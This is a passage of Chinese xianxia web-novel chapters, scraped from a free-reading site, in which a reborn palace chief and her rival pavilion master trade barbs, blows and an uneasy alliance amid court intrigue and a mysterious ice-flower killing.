贺玄青:“无论谢阁主是否相信,此事非本宫所为,风波宫会在查清后给摘星阁一个交代。” “既是为了公事,那好。”谢阁主扬声道,“那就请风波宫宫主对天道发誓,本座便相信风波宫没有参与其中。” 贺玄青一噎。 “好,很好。”谢止唇角微勾,他有一副好皮相,笑的时候犹如百花盛开,万物都失去了颜色。 可惜这花是带毒的。 谢止用力推在了贺玄青的肩头。 “贺阁主对朝廷还真是忠心耿耿,为了刺探仙盟,手段用尽,人话鬼话都能说得出口。”对于谢止的忽然发难,贺玄青毫无防备,猝然便被推入那凌乱的床榻之上。 棉絮随着动作扬起飘入半空又缓缓落下,贺玄青扬眉,看着俯身而上的谢止,像是根本没听出他话里的讽刺之意:“风波宫职责所在,谢阁主过誉了。” “风波宫本职?”谢止冷笑,“也包括承欢于男子身下吗?” 她虽与谢阁主是政敌,但按官职爵位上看他们算是同级,说这种话还是过火了。 贺玄青正要开口斥责,嘴巴却被一个东西堵住。 谢止的手指搅/弄着她的唇舌,让贺玄青根本无法发出完整音节。贺玄青毫不犹豫便张口咬下,巫血的香甜气息登时在她的口腔中蔓延开来。 她原以为谢止会在意识到疼痛后松手,没想到谢止毫无反应,口中香甜气息越发浓厚,他的指尖朝着更深处探入,让贺玄青几欲作呕。 浑身上下都被挟持控制着,好像彻底沦受在谢止的掌控之中了。贺玄青就连掌控自己开闭口腔的权利都被剥夺,只能被动承受着谢止给予的一切。 压抑到极致,贺玄青反倒笑了。 她的眼眸就像是漆黑看不见底的深渊,其下却有什么东西一扫而过,紧接着这东西居然化为了实物,青芒亮光顿起,于空中划过一个转角冲着谢止袭来。 谢止侧身躲过青芒的攻击,冲着脸上的那道却没有躲过,挨了贺玄青重重一记。 “谢阁主,那么想了解我的手段,不如移驾风波宫,如何?” 鲜血自唇角涌出,谢止没有回答,但他的指尖掐诀,顷刻间阵法已然成型,阵法化为无数锋锐箭镞,铺天盖地朝着贺玄青砸去但旋即又被青芒包裹。 瞬息之间,二人已交手上百招。梨花木床本就摇摇欲坠,发出一声咯吱哀鸣后彻底散架。 床板四分五裂,两人顺势落在了柴房堆叠着的乱蓬蓬的稻草之中。 贺玄青短暂占了上风,她强按住谢止的脖颈,指尖微微用力。而后在谢止难以置信的目光下忽得俯下了身。 这是一个吻。 说亲吻并不恰当,因为虽然唇齿交缠,但二人脸上的表情毫无缠绵之意,更像是正在互相撕咬的野兽。 事实也是如此,铁锈味与甜腥味交织,混杂在 8. 第 8 章 《重生后和死对头he了》全本免费阅读 贺玄青的疑惑并未持续多久,因为第二日,她便见到了丧着张脸来给自己送来饭食的青年。 昨夜那一幕显然给他带来了不小的冲击,他的眼下青黑,递饭盒的过程还时不时悄悄拿余光观察着贺玄青。 “你是谁?”年岁长了这青年不晓得几轮,在他的目光下,贺玄青毫无羞耻之心,甚至主动提问。 “弟子元丰,负责阁内扫洒事物……”青年咬着嘴唇,像是终于鼓足了勇气,开口道,“昨夜,昨夜并非元丰有意打扰,望姑娘勿要介怀。” 这身份在摘星阁也谈不上特殊。贺玄青点了点头表示知道了。 至于后者,她本就不在乎这件事,左右丢人的不止她一个。 她虽然不介怀,但元丰依旧讲述了前因后果:“前几日摘星阁忽然遇袭,有歹人放了一把火。” 出乎贺玄青意料的事,面对自己,谢止居然没有提前交代弟子防备。这青年毫不隐瞒,一股脑将摘星阁的近期动向全倒了出来。 “阁主只交代众人各司其职之后便回了禁地,大家苦等三日却仍未收到消息,商量后决定派弟子先进来看看。” “弟子原是要找寻阁主,沿路听到柴房有响声,弟子以为是有黄皮子作祟。担忧咬坏柴火,便想着先驱赶出去,而后,而后……” 说到此处,青年的脸几乎红成了个大番茄,彻底说不下去了。 贺玄青懂了,然后就目睹了她与谢止的尴尬场面。 心念一转,贺玄青敏锐发现问题所在:“你昨日才来,那之前给我送饭的人是谁?” 她前几日病得昏昏沉沉,每次清醒的时候桌上却始终备着温度正好的汤药。而且虽然病着,却并非毫无意识,能感受到有人正劳心劳力照顾着自己。 “此处乃摘星阁禁地,未得阁主令不得入,近三日都未曾有弟子得到过指令。”元丰想了想,又道,“但摘星阁内部独立,或许阁主另有安排,只是并未告知阁内弟子。” 那可能是谢止请了摘星阁外的医官,这种细枝末节无关紧要,贺玄青颔首示意小弟子可以离去,却看元丰支支吾吾,从嘴里蹦出句话来:“您,您是阁主夫人吗?” 什么东西? 贺玄青好像听到了脏东西,当即反驳:“当然不是。” 元丰一下子愣在原地:“可,可您与阁主昨昨……” 谢止难不成什么都没和他说吗? 谢止自己不解释,贺玄青也没有为谢止辩解的意思,随口敷衍:“这世间多的是不结契便能躺在一起的关系,你既然好奇,不如猜猜看,我与谢阁主是哪一种?” “不可能!”元丰脸颊通红,忽然间激动起来,“不,不是这样的,阁主他素来洁身自好,自持律己,为阖宫翘楚,怎么怎么可能做出,做出此等不伦狂悖之事来?” 呦,居然还是谢止的崇拜者。 贺玄青起了恶劣的心思。 “如果你们谢阁主当真不食人间烟火。”贺玄青指了指自己,故意拉长了语调,“我又怎么可能会出现在此处?” “你……”元丰下意识便想反驳,但他脑海中却又浮现出昨夜看见的场景,一时气急,“姑娘请用,元丰告退。” 诶,小孩子真好逗。 贺玄青看着快要跑远的弟子,忽得想起一件事:“这里是何处?” 虽然对她辱没自己心中敬佩的师长这件事很有意见,但元丰还是照实回答了:“苍坪山。” 苍坪山? 苍坪山怎么会是这个样子。 那地方贺玄青可再熟悉不过,她自己就曾在苍坪山苦修数十载,虽然外界将那座山奉为神迹,但贺玄青知晓那不过是个鸟不拉屎的荒山。 “苍坪山以前并非如此,原先荒芜贫瘠,经常有盗匪出没,危及周围百姓,是现任阁主继位后重新修葺过此处,再将之列为禁地,才遏止了罪恶滋生。” 无视元丰的话,贺玄青熟知谢止为人,可不觉得他会专门做什么利国利民的好事。 他没事干修缮座荒山干什么? …… 这世间有怪癖的人多了去了。 贺玄青就知道有个官员喜好收集杯盏,后因贪腐被风波宫查封的时候,屋里茶盏多到金羽卫甚至无法下脚。还有官员喜好收集人皮,或是女子肚兜......各种癖好不一而足,与他们相比只是修葺了座荒山的谢止显得无比正常,贺玄青也无法凭此找到新的能参上谢止一笔的理由。 把这座山修成这样,自己认不出不是很正常,他到底在生气什么? 将之归结于死对头间歇性精神病发作,贺玄青顺着山道走到谢止的住所,直接推门而入。 “怎么样?过了一夜,你考虑得如何?” 谢止:“……” 谢阁主眼皮都没抬一下,自顾自处理着公文。 自昨夜之后谢大阁主对她彻底没了好脸,但贺玄青看着他唇边被自己咬出的几个牙印,居然没有因他的忽视而生气:“摘星阁遇袭,你可对外放出消息,说主谋已经擒获。但关于我的事,最好一件都不要往外说。” 谢止揉了揉眉心:“我还没有答应……” “我今日便要离开,你记得把青蓝给我带上。” 谢止终于放下笔,眼神锐利:“贺宫主,我这摘星阁,可不是你想来就能来,想走就能走的地方。” “私留朝廷命官是大罪,但本宫宽宏大量,不同谢阁主计较。” 看到谢止沉下去的眉眼,贺玄青唇角微勾, “谢大阁主,月满则亏,你已经留了我三日,也该知足了。” “是吗?”谢止死死盯着贺玄青,“——那如果本阁主,不让你走呢?” 贺玄青唇边笑容不变,看向谢止的目光却略沉了些。 “阁主!风波宫上门闹事!非说他们宫主在我手上,非逼着我们交人!”元丰着急忙慌跑了进来,话还没喘匀就急急说出了口。 说完他才察觉此处还多了一人,有些意外地看向贺玄青:“你怎么在这里?” 谢止和贺玄青都没有理会刚跑进来的青年。 他们正对视着。 气氛凝重到足以让人窒息的程度,贺玄青看着谢止,挑衅般指了指自己的脸颊。 谢阁主,脸疼吗? “我知道你对摘星阁多有忌惮。”谢止抬起眼,笑容不达眼底,“但,对现在的你而言,究竟哪边更危险,还说不准呢。” …… 同一时间,摘星阁内。 两位不速之客闯入其中,为首那名男子气宇轩昂,头发却不像天衍国男子那般束在脑后,而是编成了几缕小辫,一副风流浪荡公子的模样,另外一个男子则站在他的身后,气质沉郁,虽打扮不太惹眼,但看其浑身气度,竟丝毫没有被那编发男子比下去。 他们穿着风波宫执勤时的服制,只这一点,对摘星阁而言便是赤裸裸的挑衅。 为首那男子看着正气势汹汹冲着自己而来的摘星阁众人,忍不住捋了捋垂到前胸的小辫,笑着对身后人说:“命令来这地方砸场子却只派了我们两个人,绪冥,你说那女人,是想搞死你,还是想弄死我?” “闭上你的嘴,纯钧。”沉郁男子低声道,“奉命行事,不要多言。” “真没意思。”纯钧自讨没趣,骂了一声,转到了众人面前。 他看着赶来的摘星阁管事,笑着开 9. 第 9 章 《重生后和死对头he了》全本免费阅读 苍平山山脚。 贺玄青没理会身旁脸色阴沉得可怕的谢阁主,抱臂看着远处正驶来的马车。她脚边还躺着个硕大的麻袋,里头不知放了什么。 随着马蹄声渐近,策马之人赫然是纯钧,他在看到贺玄青如今的扮相之后愣了愣,犹疑片刻后还是下马行礼:“参见宫主。” “师尊!”绪冥几乎是连滚带爬地跑下了马车,三步并两步小跑着来到了贺玄青的身前。 他瞥见贺玄青身上穿着的摘星阁的衣袍,眼眶微红,几乎是毫不犹豫便将自己的外套脱了下来,跪在地上双手奉给了贺玄青。 贺玄青冷冷扫了绪冥一眼,没有伸手:“纯钧,把你的衣服给我。” “啊?我?”纯钧嘟嘟囔囔,不太乐意地扯着外袍,尝试将宫主的视线引导到绪冥身上,“您看那,那那边……” 贺玄青眼眸微微眯起。 纯钧撇了撇嘴,不情不愿地将自己外袍递给了贺玄青。 贺玄青披着纯钧那件最为喜欢的鎏金云纹外袍,深深的兜帽遮掩了她的乌黑长发,还有发间掩藏着的,过分锐利的瞳眸。 临行前,她最后看了谢止一眼。 谢止还站在刚才的地方,猎风卷起他的法袍纷飞,配上他那张过分俊逸的容颜,犹如仙人降临凡间。但此时此刻,那双青色的眼底却透着阴霾,犹如藏在阴影出嘶嘶吐信的毒蛇,硬生生折损了仙人气度。 突兀的,贺玄青心中升起了道念头。 贺玄青缓步走到了谢止面前,停下了脚步。 手指顺着谢止眼眸划到眼尾,感受着指尖被睫羽扫过,贺玄青恍然觉得自己像是在触碰一只正在震翅的蝶。 谢止猝然抬起眼眸,想要观察贺玄青的表情。 远处传来的纷乱的脚步声,那是摘星阁众人正在赶来。 “谢阁主,倘若你不想要这双眼睛了,不妨告诉我。”指尖一触即分,忽视谢止仿佛要杀人的视线,贺玄青拉开距离,笑着说:“我一定会亲手,亲手将它挖下来。” 很小时候她便觉得谢止眼睛生得极好看,很适合拿在手上赏玩。 那么好看的眼睛,就这样轻易落在地上沾染尘土实在是可惜了。如果换做是她贺玄青一定会精挑细选,用最好的金匣,将这眼珠收藏起来。 无视谢止杀人般的视线,贺玄青跳上马车,两个属下七手八脚,好歹在摘星阁众人赶来之前将麻袋也拉了上去。 管事来的太慢,只听到最后贺玄青临行前的那句要挖掉阁主眼睛的威胁,气得七窍升天:“士可忍孰不可忍,兄弟们,抄家伙,和他们拼了!” 纯钧吹着哨音,马车绝尘而去,摘星阁众人亏就亏在没带坐骑,想追也无从追起。 眼睁睁看着贺玄青在他们眼皮子底下遁走,管事的实在咽不下这口气:“风波宫实在欺人太甚!阁主,属下这就去拟订折章,让陛下做裁决!” 眼看马车消失在视野之中,谢止终于收回视线,“阁中这些天的损失清点好了吗?” “已经都记录在册了。”管事应声,迫不及待道,“是要属下将这件事一起添加上去吗?” 虽说距离太远,但都是天衍地界,能发生这种事,硬要攀扯也能说是风波宫失职。 “不必。”谢止毫不留恋,转身离去,“明日我亲自去。” “是……”阁主下了命令,管事连忙应声,答应完才意识到自家阁主说了什么,“啊?” ....... “呜呜。” 伴随着马车颠沛,那麻袋里时不时便传来几声呜咽,纯钧听得心烦,踹了那麻袋一脚,“头儿,你把摘星阁的人抢来了?” 没人理他,贺玄青正坐在马车上,冰冷视线则落在窗外的树丛中,看不出是在思考什么。纯钧最不愿的就是与这女人共处一室,感觉马车都冷了几度。 绪冥则坐在贺玄青的身旁,手中还捧着刚刚脱下来的外袍。 纯钧眼巴巴看着身边正维持着递外袍姿势的绪冥,想要伸手。 绪冥斜着扫了他一眼,将外袍穿了回去。 纯钧:...... 马车行驶过三途,麻袋里的人似乎感受到了什么,忽然发出了声惊恐的呜咽。 但这次没有人再踹他了。 磅礴刀意裹挟着罡风,当空把马车沿着中线斩成上下两截,而后,这把刀以摧枯拉朽之势直朝着贺玄青面门而来。马车外两匹骏马被这刀意惊动,骤然昂起前蹄发出嘶鸣,马车失了平衡,失控般朝着树撞去。 贺玄青就坐在窗旁,漆黑眼瞳倒映着骤然亮起的天光,可她竟是动都没动,像是根本不在意车里发生的这一切。 顷刻间,刀光便落至贺玄青的眼前。 眼看将要得手,纯钧嘴角勾起势在必得的笑容,但这笑容还未绽开便凝固在了嘴边。 分明咫尺之距,可他的刀却再难前进分毫——因为他的刀被缠住了。 有银色丝线缠绕于刀上,让刀动弹不得。银线的主人显然是在控制方面很有心得,恰好中和了刀势,余下的那点罡风甚至没能吹起贺玄青的鬓发。 刀动不了人的惯性却未取消,纯钧重重撞在了自己的刀背和银线之上,登时疼得眼冒金星,但是他顾不得疼,直接破口大骂:“不是早就商量好了吗?绪冥狗贼,你居然反水!” “我只答应你去试探宫主真假。” 绪冥面容凄苦,眼角好似要落下眼泪,可他的动作远没有他外表展现出来的软弱,四道丝线自他指尖蔓延,一道缠着纯钧手中刀刃,另外两道则是一举穿过了马车外那两匹马的额前,血花迸溅。 鲜血也没有溅入车内,因为余下那道丝线牢牢缠住了马车,将车顶硬按回了车轴之上,硬生生止住了失控的车马。 绪冥垂着眼眸,收回缠绕在纯钧刀上的丝线:“是师尊。” 马车很快便重新动了起来,丝线控制着这两匹死后快要僵直的躯体。纯钧往外撇了一眼,有点想吐又强行咽了下去。 可惜哪怕再控制也无法阻止血腥味蔓延,控制好端端的景色被气味搅扰,贺玄青失了赏景的兴致,收回目光。 绪冥一直在观察着贺玄青的反应,眼看贺玄 10. 第 10 章 《重生后和死对头he了》全本免费阅读 与此同时,天衍一处主城中。 天色将明,打更人提着灯打了个哈欠,灯笼火光驱散层层雾霭,也照亮了面前的场景。 长街上,好像倒了个东西。 浓雾遮蔽了视野,打更人皱着眉,壮着胆子走到近前,待看清倒下之物是个什么东西之后,登时吓得变了脸色。 那是个浓妆艳抹的女人,脸上还挂着诡异的满足笑容,她紧紧闭着眼睛,像是正在沉睡。但打更人看得清楚,女人的胸前此时正开着一朵栩栩如生的花,花叶根茎皆为透明,宛若冰雪雕琢而成—— 而在那些密密麻麻的根茎之下,女人的胸腔空空荡荡,里面什么都没有。 似乎是被打更人走近带来的风声搅扰,那朵脆弱的冰晶花微微颤动着,花瓣偏偏坠落,而后骤然散成碎末。 打更人拎着手中更锣连滚带爬拼命想远离此处通知巡夜的金羽卫,却感受到肩膀传来一阵凉意。 有雪花落在了自己的肩头。 是.....下雪了吗? 可如今刚刚立夏,怎么会下雪呢? 思绪渐缓,打更人放慢脚步,最后喃喃站在原地,他看见了无数金银财宝朝着自己涌来,他痴痴看着这些金银,脸上露出了和那女人如出一辙的痴笑。 冰晶铸就的花朵在他的前胸扎根,缓缓生长起来..... 咔擦! “跑!”胸前花朵被一刀斩断,打更人被人猛然一推,向前踉跄几步,彻底回过神来。 属于金羽卫的盔甲在月光下熠熠生辉,宽阔地身形挡在打更人身前,刚才正是夜巡的金羽卫及时赶到救了他的性命,打更人顾不得因自己失神落在地上的更锣,飞快跑没了踪迹。 “浮雪莲?怎会出现在此处?”金羽卫统领捡起落在地上的花朵,只在看清此物的刹那,脸色骤然变得难看起来。 天衍寻常百姓包括普通守城的卫队并不修行,但驻守在此处的金羽卫统领却是个实打实的修士,她看着正飞舞在城池上方的片片白雪,眉宇彻底拧成川字。 几乎没有犹豫太久,她立马下了命令:“此非人力所能抗衡,你们速速撤离,通知三司都府,让他们把这件事呈递给风波宫,这里交给我。” “可将军.....”众将士看着城中盘旋而起的雪花,有些忧心。 “此乃军令!”金羽卫统领咬紧牙关,用鲜血绘制符箓,阻隔了众人视野。 “一定要将这件事......通知.....贺宫主.....” ........ 竖日。 天衍皇宫内,传来激烈的争吵声。 出乎意料的是,吵起来的居然不是因为前几日受袭特意来到御前的摘星阁阁主,而是一位老臣。 “陛下,我儿已失踪三日了,好端端的,怎么会在皇城失踪呢?”宰相跪在地上,向坐在上首的那位天子乞求道,“陛下,微臣膝下只有这一位儿子,请陛下一定要为我做主啊!” 他嘴上说着求明初帝做主,视线却不住望贺玄青身上瞥,很显然是已经有了怀疑的目标。 贺玄青一人一剑,夜行千里,去摘星阁趟了这趟浑水,哪怕在摘星阁内没有留下活口,但这一路上也总会有人目睹到她的行迹。 宰相是阁主老臣,在天衍有些底蕴积累,能知道她的踪迹并不奇怪。 但贺玄青支着下巴,看着面前这个恨不得拿唾沫星子把自己淹死的老人,心里实在疑惑——自己杀了那么多人,他儿子是哪一个? 好在贺玄青的疑惑并未持续多久,因为下一秒,宰相就给出了答案。 他的视线阴沉,死死盯着贺玄青:“请问贺宫主,吾儿青蓝究竟在何处?” 那张在焰火下近乎疯癫的面庞与面前老人扭曲疯狂的脸庞相叠,贺玄青终于记起来了。 此人是青蓝的爹。 他那好儿子没什么才能,野心却不小,当初宰相为了能让他入风波宫觅一个美差,还曾假借生日宴会的名义设下大宴宴请她去府上私下行贿。 这下可是直接撞上了贺玄青的本职,趁着生日宴的档口贺大宫主将这条收受贿暗线查了个明明白白,可惜还未到收网的时候,他儿子却先闹出了这种事。 宰相将矛头直指风波宫宫主,但整件事说到底不过是宰相的私事,其他人不好插手,诸位朝臣躬身,等待着明初帝来做裁决。 半晌后,上方响起一道声音,正是明初帝:“也未必是贺宫主动的手.......” “是我做的。”没管替自己遮掩的皇帝,贺玄青颔首,直接承认了这桩事。 前世贺玄青并没有摄政的意图,风波宫尽管在天衍权限很大,却也从不会越过界限,天子年纪尚轻,贺玄青有培养他的意图,从来都只会摆出证据,真正的决定只会交给小皇帝来做。 但这一世。 贺玄青不打算这样做。 “摘星阁遇袭。”视线自朝臣们各有盘算的脸上一一扫过,贺玄青给这件事定性,“主谋青蓝伏法,已服毒自尽。” 似乎是因为贺玄青的话提到了自己,谢止微微抬眸,直接与贺玄青对上了视线。 他这人在外在内有两副面孔,明明是个阴暗扭曲的性子,在外却能装出一副出尘脱俗的仙人模样。贺玄青一般情况下绝对会看不爽然后给对头找找不痛快,但眼下他们二人是同盟,贺玄青捏了捏发痒的拳头,勉强忍住。 “这全都是你一面之词!你说我儿子是反贼,你有证据吗?” “青阁老。”被这句话吵得回过神,贺玄青斜睨了那老头一眼,语气平静,“风波宫做事,什么时候需要向你证明了?” “你!”宰相咬牙切齿,眼见贺玄青油盐不进,又想求明初帝伸冤。 明初帝的声音磕磕巴巴:“贺宫主这样,这样做也,也是职责如此,情有可原。” 简直是一点主见都没有。 原本还想找皇帝撑腰的宰相被这话气得噎在了原地,干脆自己去找贺玄青算账:“简直荒谬!且不说蓝儿向来安分守己,从不会惹事。哪怕我儿真的犯下如此大错,也该由三司先审,再由陛下定夺。贺宫主当真好大的能耐,如今都敢越过陛下行事了吗?” 周遭鸦雀无声,贺玄青也没有开口,竟然像是在默认。 宰相受到了鼓舞,转向上首,冲着明初帝跪下行礼:“求陛下明察,贺宫主以权谋私,请务必严惩!” 谢阁主站在台前,一言不发地看着面前的这场闹剧。 摘星阁背靠仙盟,谢止身为摘星阁的阁主,无需参与天衍朝政。若非摘星阁前几日出事,他甚至不会站在这里。不过虽然之前没有参与,看到现在的场景也很容易理清其中人物关系,也清楚这老头给贺玄青扣了怎样一个帽子。 但贺玄青其实根本没必要承担这些。 没有人比谢止更清楚青蓝此时在何处。 因为是他亲手将这人交到了贺玄青的面前。 青蓝明明就在她的手里,他甚至给青蓝下了不可吐露谎言的言咒,只要让青蓝出现当堂对簿就能把一切说得清清楚楚,她为何不把证据拿出去? 似乎是察觉到了他的疑惑,贺玄青转过头,对他做了个口型。 巫血。 青蓝知晓他身怀巫血之事,若现于人前必定会牵扯出他血脉的异常。 明知贺玄青不拿出青蓝肯定有别的目的。谢止还是忍不住心念微动,他睫羽微颤,最终还是决定上前。 但他没有成功。 贺玄青先他一步动作,直接挡在了他的前面:“宰相包庇罪犯,扰乱仙盟与朝廷关系,我认为.....应当庭杖毙。” 陛下早就为风波宫宫主免了跪礼,是以贺玄青并未下跪,也不知是有意无意,她说话的姿态和刚刚宰相要求严惩她的姿态一模一样。 疯了吗?如此荒谬的请求,陛下怎么可能会答应? 宰相跪在地上,天衍有国规,若非准许臣子不可直视陛下天颜,是以他无法观察到皇帝此时的表情。 但不用想也知道明初帝此时的表情绝对不会好看。 高位者最忌惮下属争夺权柄,哪怕贺玄青曾是辅佐明初帝上位的功臣,如此行事,必会遭皇上不喜,陛下肯定会狠狠训斥这女人。 这些年风波宫仗着与陛下关系亲善,不与朝臣交往,贺玄青身为风波宫的主人,更是在背地里把控制朝臣动向,拿捏着他们的把柄。尤其是当初生日宴贺玄青没有收他赠与的名画古玩,宰相更觉得不妙。 他正头疼如何解决此时,没想到贺玄青居然狂悖至此,自取灭亡,给他送来把柄。 他明面上虽然只有青蓝一个儿子,但坊间却还养着几个私生子,宰相没什么丧子的痛心,迫不及待便已经开始思考要如何布局,才能彻底将贺玄青击垮。 但思绪并没有持续多久,很快,宰相便听到头顶传来一阵轻笑。 笑声持续了好一阵才缓缓平息, 11. 第 11 章 《重生后和死对头he了》全本免费阅读 收拾好东西,贺玄青推开门,却忽然撞上了个人影。 绪冥蹲在屋外,也不知等了多久,在看到贺玄青开门的时候,才紧张地喊了一句师父。 贺玄青微微颔首,没让他进门。 贺玄青待他向来冷淡,绪冥早已习惯,他半跪在地:“纯钧冒犯宫主,属下已将他送去寒冰狱思过,属下,属下一时失态做出逾矩之举,已去刑堂领罚。” 贺玄青倚着门框,不甚在意这些小事:“好徒弟,我杀了青丞相,你怎么看?” 绪冥跪在地上,对答如流:“青裕身为朝廷重臣,却包庇罪犯,想挑拨仙盟与朝堂百年和睦,罪该万死。” “理由不错。”看着恭顺跪在自己脚边的绪冥,贺玄青唇角扯出来一个笑容,“但你说错了。” 绪冥抬起头,眸中透着不解。 贺玄青说得漫不经心:“他该死,是因为他冒犯我,所以该死。” “接下来,整个天衍,忤逆我的人都会死。” 绪冥的呼吸微微一紧。 欣赏够了绪冥仓皇的表情,贺玄青拍了拍他的肩膀,直接迈步跨过他身侧:“我要重启登云路,兹事体大,绪冥,你来负责。” ...... “查!阁内边边角角都需要仔细筛查,不可遗漏。” 分明已经入夜,摘星阁内却灯火通明,管事卖力指挥着阁中弟子,“再排查一遍,不要让风波宫那群狗贼混进来了!” 一想到前几日看到的场景,想到风波宫的人居然在自己眼皮子底下混了进来,管事的心里就像是家里进了蟑螂一样不痛快。 “我就不信了,还能有人混进来。” 摘星阁的院墙上,贺玄低眉望着院内正站半俯下身,怜惜檐下花草的男子,眼神讥嘲。 那场大火之下死了那么多忠诚于谢止的弟子,谢阁主却只在心疼烧了自己养的兰花。 上辈子几乎所有人都在感叹谢止不当死,若他不死,天衍国或许不会沦落得个偏居一隅的结局。 实际上哪怕他活着,天衍国的格局也不会发生什么变化。 为术士者断生死,择天机,从不涉凡尘因果。 若说风波宫的贺宫主贺玄青是个酷吏,会为了求一点证据折磨生人,那么摘星阁的谢阁主谢止,则会眼睁睁看着人死。 但想要轻易控制爱恨不是容易的事,身处尘世却能不被人情搅扰,本就不可思议。 该说他是真的修为有成,还是说他生性薄凉到近乎非人呢? 那是俗人才会思索的问题,贺大宫主脑回路清奇,压根没有在意这些细枝末节。 她看着谢止悠闲伺候花草的模样,呵呵冷笑,满脑子只有一个念头—— 她忙得脚不沾地,谢止居然还有心思看兰花,看来自己这是来对了! 贺玄青垂下眼眸,猝不及防地,对上了一双深邃的青色眼瞳。 ……! 似乎是被谢止忽然看过来的眼神惊到,贺玄青身形一晃,像是要径直自墙头坠落。 下意识的,谢止伸出手。 有微风轻柔拂过身侧,贺玄青轻巧落地,贺宫主武道亨通,翻墙这种小事,压根无需旁人搀扶帮助。 谢止收回视线,缓缓将手背到身后。 “哟。” 面对不请而自来的客人,谢止已经展露出了十足不欢迎的表情,奈何贺宫主向来学不会看人眼色,她指了指门外挤挤攘攘的守卫,甚至还抱怨了一句,“怎么看得那么紧,你是什么还未出阁的姑娘吗?” 谢止转身,拂袖而去。 “欸欸欸,怎么又生气?” 贺玄青三两步追了上去,走到了谢止前头,直接迈步走入了摘星阁阁主办事的主殿内,坐在了属于他阁主的椅子上,眼神还在示意谢止赶紧进来关门,一套动作行云流水,熟练地就像是在回自己家一样。 谢止:…… 谢止关上门,没忍住按了按眉心:“你跑这来……”做什么? 他的话没有说完,因为成堆的公文凭空出现,堆满了谢止那张用来练字品茗的方桌。 谢止不问了。 他面无表情指着门口,意思很明显,是要贺玄青滚回去,自己的事情自己做。 这都没直接骂出声,不愧是修术的还真有修养。 贺玄青装作看不出他的意图,自顾自抽了支笔递到他面前,脸上挂着该死的虚假殷勤笑容:“好师兄,帮我。” …… 半个时辰后。 谢止听着耳畔传来的细细低鼾,用尽毕生涵养才忍住了拿笔敲她脑壳的冲动。 这女人白日和疯了一样将自己丧失修为的事情公之于众,将整个天衍搅得天翻地覆后自己倒是还能睡得安稳。 谢止看着案台上的折子,又狠狠皱了皱眉。 这里的折子四之有三都是弹劾贺玄青的谏言书,不过天衍那小皇帝实在惫懒,居然将这些折子全都丢给了风波宫批示,等同于将骂人的话送到了正主面前。 贺玄青完全可以扣押掉这些折子不让明初帝和朝臣们知晓。但这终究并非长久之计。 人言可有千钧重,从来遮掩不住,轻易便能压垮一位良臣。 她到底想做什么呢? 谢止不是个喜欢藏住问题委屈自己的个性,无论面对同僚还是下属都会直接问训,但面对贺玄青,他却总会言不由心。 更何况他知道自己问不出什么正经答案来。 因为贺玄青就是个彻头彻尾的骗子,心肝脾肺都黑透了。身为与她对立多年的对头,谢止最清楚她是个什么样的德行———— 独断专制,处处与他作对,处处要与他背道而驰,做决定起来像是头拉都拉不回来的倔驴。行事刻板无礼,还沾着身他看不惯的官场臭气,都多大年纪了还像个毛头小子一样不计后果,至自身安危于不顾,仿佛自己的命是什么不要钱的东西。 在贺玄青修行无情道有所成就后她就变得更加讨厌了,浑身上下没有一点人气,活像是个从坟地里爬出来的僵尸。谢止目前为止最 12. 第 12 章 《重生后和死对头he了》全本免费阅读 温热感一触即分,因为谢止很快便察觉到什么,抬起了头。 下一瞬,贺玄青忽然抬眼,直勾勾地盯着他,贺玄青眼眸清明,眸中压根看不见一点睡意,她笑着问谢止:“在看什么?” 贺玄青脸上微笑,心中却在不停辱骂谢止不要脸。 她刚刚感受到了有什么东西扫过唇瓣的细微触感,这让本就警觉的她立马清醒过来。 而后她便看到谢止手里拿着笔,表情很不自然地看着她,而在贺玄青望向他的时候,他居然移开了视线。 证据确凿,贺玄青当即做出了判断—— 这厮肯定是想用笔凃花自己的脸! 都多大年纪了!!! 她的目光太过谴责警惕。谢止放平呼吸,假装什么都没有发生过。 他指了指摆在上面的折子:“你想重启登云路,怕是没那么容易。” 贺玄青显然是看过这些弹劾自己的折子,但并不在乎:“有人敢拦就杀了。拦一个,就杀一个。” 这句话似乎给了她灵感,贺玄青越说越过分:“这些言官难缠得很,动不动就拿名节说事,杀他们或许没用,但他们还有家人,不如就将他们的子嗣送去……” “贺玄青。”谢止皱紧了眉,彻底听不下去了,“你是不想要名声了吗?” 贺玄青静静与他对视。 烛火下,她的眼瞳微眯,带着几分揶揄和促狭,在那一刹那,谢止意识到一个事实。 ……中计了。 她是故意激怒自己,目的是为了....... “谢阁主懂得真多。”贺玄青拍了拍掌心,愉快地下了决定,“既然如此,此次登云路的选拔就由谢阁主全权负责吧。” 顿了顿,贺玄青再次开口堵住了谢止想要拒绝的话语:“一来为了仙盟和朝廷百年和睦,二来,也算还了上午本宫主替谢阁主解围的恩情。” 挟恩图报,贺玄青最懂如何打蛇随棍上。 谢止眉头微皱,没有反驳,视线却移到了小山般的折子堆上,破天荒的,贺玄青居然看懂了他此时的眼神。 事情都我做了,那你去做什么? “那当然是有更重要的事。”贺玄青嘟嘟囔囔,她忽然想到什么,有些出神。 ——若书说谢止很期待与她一起去治理雪患,甚至还沐浴焚香了好几回。 若书不会撒谎,但它真的很喜欢将自己和谢止两人都塑造成那种很难以言喻的形象。谢止或许会出于对摘星阁的利益考量选择介入雪患之事,至于沐浴焚香这些,有很大可能是若书在添油加醋。 但极大可能也是可能,这件事到底真的假的? 念头起得快于脑子,贺玄青也不知搭错了哪根筋,她很有探究欲地低下头,凑近谢止的脖颈,轻轻嗅了嗅。 烛火翕动发出噼啪一声炸响,谢止眼眸骤然放大,握笔的指尖收紧,指节微微泛着白。这些天不断折磨自己的画面涌现在脑海中,越发艳红的唇,急促喘息和心跳声,指腹摩挲肌肤的温润和触感…… 可谢止没有动。 那些天的亲密举措,甚至是拙劣古怪的扮演,从贺玄青出现在摘星阁的那一刻,整件事的走向就变得诡异极了。 这个女人的行动都有目的,他想知道贺玄青究竟想做什么。 …… 也就是谢止毫无防备,给了她趁人之危的时机,否则哪能轻易靠近恢复全盛时期的术士。贺玄青面无表情想。 谢止身上还是同样的香火缭绕气息,他似乎是在致力于把自己熏成庙里的一根香。但或许是受到若书的话语影响,贺玄青总觉得其中似乎夹杂了一点皂角清香。 贺玄青的鼻子没有敏锐到能分辨这等细微气息的程度,但风波宫内有不少能人,想必能够嗅闻出来。只不过把谢阁主拐带进风波宫风险太大,她目前的杂事又有些多了。贺玄青叹了口气,勉强按捺下危险心思。 谢止额角被她叹出了道青筋,笔杆更是被攥出了咔哒声响。 好像是被气得不轻,倒也对,自己凑得太近了,停在他身边又太久,确实很像是个举止孟浪的登徒子。 